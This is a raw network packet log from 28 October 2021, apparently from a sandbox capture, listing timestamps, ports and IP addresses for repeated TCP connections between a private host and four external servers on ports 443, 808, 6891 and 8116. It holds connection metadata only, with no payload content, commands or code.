Oct 28, 2021 04:51:33.772161961 CEST	443	49822	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:33.772393942 CEST	49822	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.773296118 CEST	49822	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.773317099 CEST	443	49822	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:33.780993938 CEST	49822	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.781022072 CEST	443	49822	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:33.781204939 CEST	49822	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:33.781224012 CEST	443	49822	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:34.187052965 CEST	443	49821	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:34.187150955 CEST	443	49821	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:34.187165022 CEST	49821	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:34.187230110 CEST	49821	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:34.191405058 CEST	49821	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:34.191437006 CEST	443	49821	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:34.300844908 CEST	49823	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.466402054 CEST	808	49823	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:34.466548920 CEST	49823	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.467325926 CEST	49823	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.486856937 CEST	443	49822	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:34.486953974 CEST	443	49822	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:34.487025976 CEST	49822	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:34.487046003 CEST	49822	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:34.495976925 CEST	49822	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:34.496022940 CEST	443	49822	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:34.617361069 CEST	49824	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.632817030 CEST	808	49823	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:34.632951021 CEST	808	49823	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:34.633044958 CEST	49823	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.633527040 CEST	49823	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.637919903 CEST	49823	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.638047934 CEST	49823	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.784826040 CEST	808	49824	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:34.785119057 CEST	49824	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.785794973 CEST	49824	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.798918962 CEST	808	49823	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:34.803955078 CEST	808	49823	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:34.803989887 CEST	808	49823	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:34.804006100 CEST	808	49823	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:34.954386950 CEST	808	49824	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:34.954421997 CEST	808	49824	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:34.955708981 CEST	49824	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.956263065 CEST	49824	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.961986065 CEST	49824	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:34.962140083 CEST	49824	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:35.124547005 CEST	808	49824	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:35.129754066 CEST	808	49824	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:35.129785061 CEST	808	49824	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:35.129796028 CEST	808	49824	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:35.196183920 CEST	808	49823	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:35.196218014 CEST	808	49823	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:35.196388006 CEST	49823	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:35.196470976 CEST	49823	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:35.201750040 CEST	49823	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:35.316674948 CEST	49825	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:35.367280006 CEST	808	49823	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:35.482048988 CEST	6891	49825	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:35.482351065 CEST	49825	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:35.483153105 CEST	49825	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:35.512505054 CEST	808	49824	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:35.512531042 CEST	808	49824	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:35.512797117 CEST	49824	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:35.512866020 CEST	49824	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:35.521518946 CEST	49824	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:35.648446083 CEST	6891	49825	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:35.648475885 CEST	6891	49825	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:35.648773909 CEST	49825	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:35.649338007 CEST	49825	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:35.653430939 CEST	49825	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:35.653542995 CEST	49825	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:35.688877106 CEST	808	49824	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:35.703732014 CEST	49826	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:35.818983078 CEST	6891	49825	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:35.819042921 CEST	6891	49825	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:35.819062948 CEST	6891	49825	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:35.869064093 CEST	6891	49826	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:35.869210958 CEST	49826	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:35.869970083 CEST	49826	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:36.035176039 CEST	6891	49826	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.035200119 CEST	6891	49826	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.036032915 CEST	49826	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:36.036602974 CEST	49826	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:36.041429996 CEST	49826	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:36.041553020 CEST	49826	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:36.202721119 CEST	6891	49825	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.202755928 CEST	6891	49825	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.202982903 CEST	49825	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:36.203068972 CEST	49825	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:36.205351114 CEST	49825	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:36.206610918 CEST	6891	49826	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.206633091 CEST	6891	49826	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.206643105 CEST	6891	49826	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.320808887 CEST	49827	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.370707989 CEST	6891	49825	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.375731945 CEST	8116	49827	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.375991106 CEST	49827	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.377835989 CEST	49827	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.432478905 CEST	8116	49827	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.432734966 CEST	8116	49827	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.432820082 CEST	49827	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.433347940 CEST	49827	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.438143015 CEST	49827	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.438694954 CEST	49827	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.496182919 CEST	8116	49827	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.586697102 CEST	6891	49826	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.586719990 CEST	6891	49826	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.586915970 CEST	49826	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:36.594568014 CEST	49826	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:36.684333086 CEST	8116	49827	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.684351921 CEST	8116	49827	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.684464931 CEST	49827	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.684485912 CEST	49827	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.686609983 CEST	49827	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.710783958 CEST	49828	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.741099119 CEST	8116	49827	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.759336948 CEST	8116	49828	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.759526968 CEST	49828	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.759918928 CEST	6891	49826	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:36.760735035 CEST	49828	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.809137106 CEST	8116	49828	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.809181929 CEST	8116	49828	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.809269905 CEST	49828	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.810103893 CEST	49828	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.820266962 CEST	49828	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.820447922 CEST	49828	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:36.866801023 CEST	49829	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:36.866842031 CEST	443	49829	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:36.866935015 CEST	49829	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:36.867624044 CEST	49829	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:36.867635965 CEST	443	49829	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:36.868776083 CEST	8116	49828	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:36.869399071 CEST	8116	49828	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:37.052998066 CEST	8116	49828	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:37.053023100 CEST	8116	49828	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:37.053075075 CEST	49828	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:37.053098917 CEST	49828	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:37.059000969 CEST	49828	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:37.107460022 CEST	8116	49828	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:37.183883905 CEST	49830	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.183928013 CEST	443	49830	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:37.184031010 CEST	49830	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.184727907 CEST	49830	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.184755087 CEST	443	49830	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:37.389965057 CEST	443	49829	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:37.390230894 CEST	49829	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.391222954 CEST	49829	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.391233921 CEST	443	49829	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:37.397012949 CEST	49829	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.397030115 CEST	443	49829	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:37.397149086 CEST	49829	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.397159100 CEST	443	49829	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:37.709810019 CEST	443	49830	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:37.710050106 CEST	49830	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.710925102 CEST	49830	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.710941076 CEST	443	49830	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:37.716934919 CEST	49830	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.716967106 CEST	443	49830	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:37.717113018 CEST	49830	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:37.717125893 CEST	443	49830	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:38.103521109 CEST	443	49829	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:38.103650093 CEST	443	49829	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:38.103723049 CEST	49829	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:38.103801012 CEST	49829	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:38.109446049 CEST	49829	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:38.109496117 CEST	443	49829	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:38.228262901 CEST	49831	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.388529062 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.388714075 CEST	49831	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.389457941 CEST	49831	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.426568985 CEST	443	49830	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:38.426676035 CEST	443	49830	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:38.426716089 CEST	49830	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:38.426738024 CEST	49830	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:38.434401035 CEST	49830	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:38.434439898 CEST	443	49830	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:38.549437046 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.549463034 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.549597979 CEST	49831	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.551243067 CEST	49831	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.556579113 CEST	49831	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.556745052 CEST	49831	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.564527035 CEST	49832	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.711113930 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.716540098 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.716559887 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.716572046 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.716583014 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.722542048 CEST	808	49832	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.725138903 CEST	49832	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.729039907 CEST	49832	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.887243986 CEST	808	49832	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.887358904 CEST	808	49832	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:38.887447119 CEST	49832	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.887949944 CEST	49832	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.891452074 CEST	49832	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:38.891731977 CEST	49832	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:39.045794964 CEST	808	49832	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:39.049371958 CEST	808	49832	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:39.049650908 CEST	808	49832	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:39.049671888 CEST	808	49832	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:39.097327948 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:39.097353935 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:39.097608089 CEST	49831	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:39.100611925 CEST	49831	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:39.207461119 CEST	49833	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.260574102 CEST	808	49831	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:39.373990059 CEST	6891	49833	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:39.374262094 CEST	49833	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.374861956 CEST	49833	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.425983906 CEST	808	49832	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:39.426007032 CEST	808	49832	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:39.426295996 CEST	49832	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:39.439124107 CEST	49832	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:39.541157961 CEST	6891	49833	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:39.541270018 CEST	6891	49833	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:39.541364908 CEST	49833	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.541836023 CEST	49833	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.546802044 CEST	49833	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.546907902 CEST	49833	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.551949978 CEST	49834	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.597201109 CEST	808	49832	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:39.713121891 CEST	6891	49833	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:39.713140011 CEST	6891	49833	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:39.713148117 CEST	6891	49833	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:39.718159914 CEST	6891	49834	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:39.718255043 CEST	49834	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.718939066 CEST	49834	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.885222912 CEST	6891	49834	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:39.885247946 CEST	6891	49834	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:39.885307074 CEST	49834	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.886128902 CEST	49834	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.894799948 CEST	49834	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:39.895015001 CEST	49834	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:40.061141014 CEST	6891	49834	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:40.061225891 CEST	6891	49834	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:40.061238050 CEST	6891	49834	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:40.094259977 CEST	6891	49833	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:40.094285965 CEST	6891	49833	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:40.094361067 CEST	49833	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:40.094399929 CEST	49833	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:40.096865892 CEST	49833	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:40.209465981 CEST	49835	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.258502007 CEST	8116	49835	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.258615971 CEST	49835	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.259124994 CEST	49835	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.263720036 CEST	6891	49833	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:40.307929993 CEST	8116	49835	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.308116913 CEST	8116	49835	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.308187008 CEST	49835	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.310575962 CEST	49835	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.314547062 CEST	49835	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.314641953 CEST	49835	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.363418102 CEST	8116	49835	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.364034891 CEST	8116	49835	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.442280054 CEST	6891	49834	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:40.442306042 CEST	6891	49834	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:40.442382097 CEST	49834	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:40.442434072 CEST	49834	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:40.447946072 CEST	49834	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:40.533922911 CEST	8116	49835	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.533950090 CEST	8116	49835	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.534070015 CEST	49835	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.536892891 CEST	49835	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.570440054 CEST	49836	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.585750103 CEST	8116	49835	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.614346981 CEST	6891	49834	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:40.623913050 CEST	8116	49836	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.624031067 CEST	49836	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.624604940 CEST	49836	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.678231001 CEST	8116	49836	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.678258896 CEST	8116	49836	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.678337097 CEST	49836	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.678880930 CEST	49836	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.683058977 CEST	49836	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.683229923 CEST	49836	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.712682962 CEST	49837	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:40.712727070 CEST	443	49837	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:40.712805986 CEST	49837	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:40.713372946 CEST	49837	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:40.713387966 CEST	443	49837	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:40.736607075 CEST	8116	49836	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.736644030 CEST	8116	49836	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.927045107 CEST	8116	49836	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.927083015 CEST	8116	49836	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:40.927246094 CEST	49836	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.936506033 CEST	49836	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:40.990696907 CEST	8116	49836	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:41.059376955 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.059458017 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.059545994 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.060389996 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.060419083 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.199361086 CEST	443	49837	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.199459076 CEST	49837	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.200035095 CEST	49837	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.200052023 CEST	443	49837	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.204837084 CEST	49837	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.204870939 CEST	443	49837	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.204905033 CEST	49837	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.204920053 CEST	443	49837	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.585660934 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.587353945 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.587857962 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.587881088 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.592925072 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.592946053 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.593038082 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.593055010 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.890163898 CEST	443	49837	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.890237093 CEST	443	49837	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:41.890288115 CEST	49837	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.890316010 CEST	49837	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.892469883 CEST	49837	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:41.892493963 CEST	443	49837	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:42.004276991 CEST	49841	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.164937019 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.165103912 CEST	49841	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.166116953 CEST	49841	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.302210093 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:42.302273989 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:42.302290916 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:42.302333117 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:42.308057070 CEST	49839	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:42.308079958 CEST	443	49839	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:42.326544046 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.326647043 CEST	808	49841	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:42.326736927 CEST	49841	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.327270985 CEST	49841	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.331406116 CEST	49841	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.331507921 CEST	49841	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:42.427485943 CEST	49844	808	192.168.2.5	143.244.140.214
